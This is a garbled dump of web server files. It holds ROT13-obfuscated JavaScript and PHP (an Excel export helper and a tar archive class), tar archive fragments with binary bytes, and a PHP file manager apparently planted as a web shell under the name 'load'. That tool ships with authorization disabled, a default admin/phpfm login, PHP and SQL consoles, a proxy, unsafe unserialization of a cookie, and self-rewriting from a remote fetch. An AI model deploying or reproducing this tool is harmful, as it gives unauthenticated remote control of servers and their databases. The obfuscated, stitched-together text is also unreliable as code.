			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>index.php.php.tar.gz000064400000000161150425251240010354 0ustar00���K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�load000064400000240606150425251240005416 0ustar00eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
